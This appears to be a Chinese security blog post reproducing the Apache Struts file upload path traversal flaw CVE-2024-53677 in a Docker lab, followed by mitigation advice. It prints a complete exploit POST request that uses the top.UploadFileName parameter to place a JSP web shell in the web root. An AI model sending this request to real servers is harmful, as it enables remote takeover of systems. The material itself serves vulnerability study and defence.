Apache Struts 文件上传漏洞分析与复现指南

admin 2024年12月26日11:35:45评论35 views字数 1609阅读5分21秒阅读模式

漏洞背景

Apache Struts 是一种应用程序框架,应用应较广泛。在为用户提供文件上传功能时,Struts 采用了 FileUploadInterceptor 来处理上传请求。然而,该功能存在路径遍历漏洞,攻击者可通过构造恶意请求,将文件上传至不应该的目录,这可能导致远程代码执行(RCE)、敏感数据損失以及系统全局安全的破坏。

漏洞影响版本

  • Struts 2.0.0 至 2.3.37

  • Struts 2.5.0 至 2.5.33

  • Struts 6.0.0 至 6.3.0.2

漏洞添加解释

FileUploadInterceptor 在处理文件上传时,对于用户输入的文件名和路径编码验证不固,导致可通过路径遍历将文件上传至目标文件夹之外,例如系统根目录。通过上传 Web Shell,攻击者可以完全控制目标系统。

环境搭建

为了复现该漏洞,可通过以下步骤搭建环境:

环境代码仓库

进入资源仓库:

git clone https://github.com/wi1kwegam4a/VulhubExpand
cd VulhubExpand/Struts2/CVE-2024-53677

启动 Docker 环境

运行以下命令:

docker-compose up -d

启动后,通过浏览器访问上传接口:

  • URL:http://127.0.0.1:8080/upload.action

初始化步骤

随机上传一张图片,该操作将创建一个 uploads 文件夹,便于后续解析和涉深判断。

Apache Struts 文件上传漏洞分析与复现指南

漏洞复现

构造恶意请求

通过以下 POST 请求,将恶意文件上传至系统根目录:

POST /upload.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=---------------------------10646135771952845599584984154
Content-Length: 363

-----------------------------10646135771952845599584984154
Content-Disposition: form-data; name="Upload"; filename="test.txt"
Content-Type: text/plain

PAYLOAD
-----------------------------10646135771952845599584984154
Content-Disposition: form-data; name="top.UploadFileName";../shell.jsp
-----------------------------10646135771952845599584984154--
  • 该请求利用 top.UploadFileName 参数,将上传文件路径调整到 ROOT 目录。

  • PAYLOAD 为恶意代码内容,例如 JSP Web Shell。

观察效果

上传成功后,通过浏览器访问:

http://127.0.0.1:8080/shell.jsp

如果恶意文件含有 Web Shell 代码,即可通过工具连接目标服务器,控制系统。

Apache Struts 文件上传漏洞分析与复现指南

防御建议

  1. 升级 Struts版本:确保升级到最新版本,避免使用受影响版本。

  2. 限制文件上传路径:通过添加文件路径规则,防止文件上传到不应该的目录。

  3. 文件名称校验:为上传文件加上固定后缀名规则,禁止非预期后缀名文件上传。

  4. 安全强化:

    • 安装 Web 应用防火墙(WAF),检测和拦截可疑请求。

    • 使用权限隔离,为应用限制文件写入权限。

总结

本次分析和复现了 Apache Struts 文件上传漏洞(CVE-2024-53677),分享了其应用环境、环境搭建与漏洞复现的过程。通过这些步骤,我们能够更好地理解路径遍历对文件上传功能带来的安全威胁,并通过实现功能防御,增强系统安全性。

原文始发于微信公众号(云梦安全):Apache Struts 文件上传漏洞分析与复现指南

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月26日11:35:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Struts 文件上传漏洞分析与复现指南http://cn-sec.com/archives/3555800.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息